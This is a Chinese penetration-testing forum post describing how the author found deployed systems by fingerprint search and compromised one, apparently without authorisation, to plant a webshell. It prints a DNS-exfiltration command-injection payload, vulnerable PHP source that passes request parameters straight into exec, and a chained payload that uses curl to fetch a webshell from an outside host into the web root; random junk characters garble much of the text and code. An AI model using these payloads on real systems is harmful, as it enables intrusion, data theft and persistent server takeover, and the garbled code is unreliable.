中国网络渗透测试联盟

标题: Web安全之实战通过os命令注入漏洞getwebshell [打印本页]

作者: admin    时间: 2022-3-31 01:39
标题: Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、2 P; N" S& X! a6 y+ h( f; F
** **寻找突破口**# f. G% g/ ~$ j+ d$ ^/ q$ W

4 L7 a/ @: P0 Q" Z5 U**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**3 N* ]  V1 ~5 F9 t& U& w

% }" `# F3 A0 \* A- j![image.png](data/attachment/forum/202203/31/013456oll79nxwhwxz9h2l.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")4 A$ k7 l0 C( c" N

% j6 F4 I7 W7 V  w: f  H/ I
; F& l" |* t! l9 K2 l$ t- O- G& t* X: e. X+ x8 W8 Q# X
**发现reporter和[Technology,9 Q) |" J4 E6 l; Q2 v
Inc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**% d2 C" P- z+ [3 i7 r% t8 @

# R6 v- }9 k7 {# o**地址为:**9 i: Y. L* Q* c# ~4 D
$ B" P& X1 Y% a6 x+ k$ t. Y: h
[http://1.1.1.1//view/systemConfi ... ;text_packetsize=64](http://1.1.1.1/view/systemConfig ... ;text_packetsize=64)**,如图:**/ X& _. s7 B8 V! x& Y. U
" m/ }4 o. p6 {3 l
![image.png](data/attachment/forum/202203/31/013528hffsyjijhb58lhh5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
2 n* q) p2 g' z0 [
9 ~7 N! z1 B, a! U7 B2 T- M% ?2 b9 T+ o0 o$ \
- T' g: Y5 v: j. ?7 o
**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
& J. ^$ ^% }, {
2 D2 c7 e  e& G**`whoami`.1111.ceye.io** **,如图:**: z. Q% a( ~! o3 E! L

7 n( \- G' l, |9 q3 N7 h5 W  l![image.png](data/attachment/forum/202203/31/013559bwl0r0lrgkpm8lrw.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
5 ^2 w' Y+ b' |5 ~" U6 f8 j8 N& Z/ @/ v; a9 a  v5 t

  g& h2 j5 }# |. a! D+ f
9 O) C- M& [0 R**返回dns记录如图:**
4 k9 k" ?# V- H4 h" t0 x6 s# M
3 d6 [. c6 C; x. r" I3 b![image.png](data/attachment/forum/202203/31/013625ei2ea2ealisblpsb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
3 b8 C; e  X4 r' K; g0 K  i$ q- V9 A" n3 O' p" Q4 A9 ^

6 h% ?/ V8 o# b' J
) W! A# R  w# G) W1 Q6 v**发现当前用户权限为root**
, x& [" Y7 p7 Y6 F/ G
9 k2 r' L$ P4 d8 e9 A/ n$ W**一、6 Y9 A& R1 o# K- y
** **通过漏洞组合getwebshell**: e  i4 v" h) q6 ]. s, n' @+ M
5 |5 D8 W4 L5 h" c- w1 I
**    ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
" t, i% g3 f% z* w
8 K- ^3 P1 `# a6 ?& O3 C![image.png](data/attachment/forum/202203/31/013656tl9z2765580yd7t8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
; @" ]2 n4 |+ o" A2 n: ]( l. E8 z: B* B# u. H( ]+ G/ V; f2 @

" G# t& J$ l6 N( d, X
8 n4 v8 h  j! m  Y4 n**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**0 X- E' O6 M. a. H2 K7 g
+ z4 U& ^% O" S; R/ e" Z& i
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**# P* _' u  K* k/ U/ i5 q' G
* [4 e0 ~% L# T
![image.png](data/attachment/forum/202203/31/013726cn3oj66ngggc6zz8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
; ~, G# w% q3 ?6 M" P( U( C- n
) p' o. Q% r, D& B**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**
* p) B' e- a5 Z# Z
; ~% o4 h" H- t![image.png](data/attachment/forum/202203/31/013749x0i8ilbkiuelle4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")\0 y4 v! D& p, m  `# _/ n" }
0 [/ w/ T) P7 x/ S6 R% T1 ?, Y# p9 _2 v

0 V& Z0 i9 }- E0 ^) g* e% N**源代码为:**/ a  m/ K' q# w- a% r
9 m$ R- [9 g# I7 G# N; _
<?php
% {' l, u# p2 kinclude_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
( m7 [. P, p1 Q* Q6 l1 \7 ^0 ^?>
) x4 b1 R* R: x0 q" ]% d/ T* s1 c4 i  b8 R
<?php
& J+ ]) k" G% Z- B  d5 D7 Z& V
1 r7 _( A6 D$ g' p# u
" \0 T+ R, F8 n2 |/ s6 k) e& S* F  L+ O$ _/ n
session_start ();
2 j/ G+ g3 _7 c1 L% E  B9 Y5 j

! a8 L, K% G+ S  q# @' {2 L! s6 j( @

& [$ d+ a3 F- e7 B& E
0 U0 z1 {: O" b
7 a( E. G. d! L! Q
! D4 S; U* ?9 G% C& y- K! U2 R" Zif ($_GET ["objClass"] == ""). {/ M4 ^0 _9 c

; [7 \6 R& ^1 x2 E% z
, w4 Z/ `3 d: W( ~
1 d: `* x! N$ d! L% K      exit ();+ c% n' A& D% H- g# I3 @

3 [! Z) k2 F# Z% F! Z# G
$ ^6 ]4 _2 V0 T, y$ V4 F+ Z/ R  y& d) f, h. v
$param = $_REQUEST;! q8 O" e# F7 l
  E3 V/ h$ \) C
/ }( M$ ]) I% T9 o5 k# @$ Q9 B

4 N0 X) d! B0 [, @$ h0 Z1 ]5 `" \
- v+ i: x' L$ c
$ i- b# U$ V" ~% {1 [) _3 R4 E0 R+ b1 v. `1 t' A
$ t7 |6 k) P5 b" A) s0 `" ?
//echo "\n--------------------------\n";
" P  m) y0 j3 f; Q8 M( b) O
& o; z, D  k. D$ N2 O
& M, t$ T* L- T; e2 M: L0 v) T) Z/ ~# ~
//print_r($param);% U0 @8 s1 y! f5 w/ ?/ ]& u3 N1 r

: b& s' {+ M; k8 O7 y3 t7 A4 O5 r7 T0 Q; `

6 E7 ~5 B/ c  O6 T( `% U//echo "\n--------------------------\n";
4 u2 i' T( K. B; j
  }( y, m2 l/ {& ~5 I/ C9 \- @: h+ v
( v- z; ~' f( o9 N, x" x3 M  e5 \1 r
[if ($_GET ["method"] ==
# Z' O6 x+ y; e5 ^  ["getList" || $_GET ["method"] == "import" ||- u, h) m6 e% L' O) i# B4 s
$_GET ["method"] == "processAlarm") ](){* u4 z( R' o# `5 x) M0 q

. d" N" ]/ K. c' y8 O% }$ C$ k7 r' l3 l- |4 b8 _3 ]9 a. ^+ {, N

, |- L- R; F4 L3 x+ c! g- Y0 N      $param
) h7 k# h$ D' }' n3 c["user"] = $_SESSION ["s_userName"];
8 `+ z5 k0 e' O% k% m9 L! c5 Q
; }" b- F& J. X6 N9 n! z: @" T" |- @

1 \2 c2 z/ j- N- H  @9 \      $param: A% q4 I) j1 D/ ~0 I
["lan"] = $_SESSION ["lan"];. W  b4 E( n( D; B

5 c& ~! S9 y! b
+ x: x3 v& _. {% h6 l. h* D2 r
% A4 U- y  x6 }5 G4 p5 J) g      $param/ K3 i* _$ T9 t  Y& h; c. Y
["regUserpath"] = $_SESSION ["regUserpath"];
. o6 Z8 [2 E# g# s6 V& ^* v9 T
1 n( l4 \8 q: {3 @! J- L3 N8 h. z' X) l9 o" h+ @' t, g1 u

: \4 y* Z2 b( B% I/ O6 g' g   
) \7 `4 g! U8 {8 {+ ?$ n; c& g5 X/ `! h& R, m: F1 ~- X& q

3 @! w& K5 h; v( s4 c
  C- _1 K. [, l6 v4 ~* u0 V      exec (
4 |8 ^; G. P( Z2 T) M( Z"rm -rf /tmp/cache" );
2 n+ a3 X6 W/ ?, ]& q+ w! g2 ~: c2 Z5 l5 s" L

5 K" F- ]: _% i$ b: R5 T" |1 a' g4 p
      [$cmd = "/usr/local/php/bin/php ".$_SERVER7 W: d% R' H: z9 H+ c+ `- I$ f
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()
. N6 R& s3 V* K! M. Q' o! P( l9 u! ?9 `! o- F$ x
0 e2 Z# b: b1 t; y' M6 Y- l

# F5 t$ S/ B' L# Q5 G8 l9 ^      $cmd .=
2 ?" G! z% X3 C" " . $_GET ["objClass"];- _% t! Q- Z8 L2 v8 K3 }( [

4 N  e! J' R) m5 J1 U$ a& z/ G
0 {( G; s- f' m) Q, p7 G" E- m9 k" y! B  _
      $cmd .=7 |# |/ `4 o% w0 \' U9 ^" T
" " . $_GET ["method"];0 [- q6 T- ]3 U! @

4 d" |8 K. ^* K* P1 Z# i% ^  b) k
' h3 U) b. d+ u/ e0 \  f7 F; x1 r4 t9 }/ x0 ~+ m- g$ k; |+ J
      $cmd .=
, y( x0 s8 G# M! t$ J" " . base64_encode ( json_encode ( $param ) );" T" c0 m* Z* h5 C2 s

! S& R" r" ~" v' {3 t/ H( O
0 U/ o; d  R. ~7 _* }7 S3 N( I9 Z
% r( g+ ?/ h7 _8 Q      [file_put_contents("/tmp/query_cmd",$cmd);]()- B! h! K$ t9 V! c5 A: l; N, d

6 r( N% d- b9 j+ d
4 ?, C, x4 w5 b3 J. {5 [3 x" a, X- [: E0 J! p7 G+ Q1 W
      exec ( $cmd . "
: {. D. {% q5 u$ p0 a> /dev/null &" );, I- l! t% ]! c9 Q8 Y$ q6 P: j
* z2 A) i6 D- |

: [1 Q, `- l  l* O0 g& L$ x( T" L( L: C
, @0 k) X, H* O, |. O3 @, o2 F
1 A' p7 v# ^; p& ~
} else {+ H$ V; @* V) ^& |1 H2 v& D0 \
! p. B. t% n% }* i: r
5 o/ x% [5 S3 R/ C  ]: w# \) W
# C% f5 U; g% b" V
      require_once
' G; U0 {3 G. |+ }* F+ ?, a($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
* M. w$ ^& N* }7 E4 M. v; s4 t5 V# c6 v4 g+ {" c' z) t% a, K& h

( j* _; u: Q% i% o
% U, z( q' I* _/ w4 j8 q      $obj = new6 n5 h% ]4 x5 l4 `) U+ I
QueryInterface ();. l/ r8 d+ e* Z4 q+ ^  |; d# ~

8 b, C( M$ F" K# n5 a
, P+ K& J# g% m; t
: p  F- D0 c+ I- ?& Q. _1 `      $instance =
& w# d2 ]# N4 a$obj->getInstance ();/ U7 S+ T, ~# d+ N9 F

: o, }: H9 y& D/ D. `) Z+ w( f, c3 R
" B8 N( Z8 T1 w7 Y1 V
% a  ~6 [8 {6 s! R8 r6 ~; \      $instance->invokeMethod
+ Z) o  R0 |* U( $_GET ["objClass"], $_GET ["method"], $param );( M, ]' L% e, i% f0 s1 v, V* p
) f' N+ I+ n3 a$ Q) ^
+ G) s- w8 w& T
5 P, K; m: f% a+ k
}1 P# ?& A9 z0 [( N

  B; {: n7 u& e, p' {: s+ U) U7 C6 C$ ^; n; i7 ~
- ~3 R0 ~8 u7 Z
exit ();1 Z1 e. [3 N& Q) Z$ I

" G  n' l! p. @
% m5 ?% V; `  {( @+ f" ?; v# e6 h( T& |7 Q: z9 u# D+ `
?>
6 ~. Z& j3 Y. q: G
; z$ T! J8 m5 U) u# ]) \3 v**经常简单审计发现if ($_GET, v/ M4 ^+ `: e$ c  Z4 y8 R2 N
["method"] == "getList" || $_GET ["method"] ==
; u! |7 o2 T/ L+ |- W"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =/ U0 r2 R, |+ j0 G( t$ x
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .* ?2 u  B( k7 x: X$ M3 Z
"[system/behavior/behavior_query.php]()";  cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
) m& m* E) V4 o8 \% i9 }
$ H/ ~; E; m$ e4 f5 c9 j**      exec ( $cmd/ w" g( q' q' Y  Q  F6 M5 x
. "  > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**& N2 B7 Y' U5 x3 Q% c% i8 @0 k

. x! @2 Q8 w' h9 Q; |% t; a( G. D* ]
![image.png](data/attachment/forum/202203/31/013842ceg7htegblnr4nnk.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")1 D5 ^: K( Q9 E. N! V  C3 L; i

4 n1 I4 \2 `3 J" B! \5 Q& l$ R4 U7 t' A! `# P; e  K( {& f0 h
6 O7 A/ V6 G! R% E
**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
; `" U  j& H) |; n7 ?* j. h7 [  H
! Y/ x8 b* J* g6 k2 G8 A**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**) h$ c8 L+ T$ E) p

) W3 @7 u3 ?9 j$ n5 G; ~**我们用url解码如下:**
7 _5 u1 o5 J" G0 S7 H8 v) ]. l% {+ H+ \( j
**|curl http://1.1.1.1/qYCwxRz1.zip -o
1 a: w1 }% M* e+ Y# I2 H. g/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o3 s8 R7 N! X0 v- [
/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php)7 N5 [, R5 N) K8 f" A) V9 J6 O

7 n* ?2 z, K/ F**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**
) s: S! N" T7 S9 |5 }3 D% H2 w4 k" D9 ^! b! J2 N2 n
( l/ @# c9 h! T, L2 o
![image.png](data/attachment/forum/202203/31/013922zdonl51onkonxqqz.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
7 [. z; p! C8 N, N0 E* M
4 o/ w: s1 d5 N: I2 t) F8 Q% f- g2 c$ B( y4 S

7 W% l% S# d  U( ~4 j# [7 y( [2 ?4 Z) \- M) _/ ?
**三、总结**
! b$ V5 x" q+ G- c8 U5 o. x5 W
7 W5 q8 m, H4 p$ v) E**   ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**! H2 s( ?0 A8 O) p& {

- ~) |5 ^7 c1 A) Z6 Y2 s2 _. y! a**   ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **5 M' y& S6 t' f8 f  h
[/md]




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2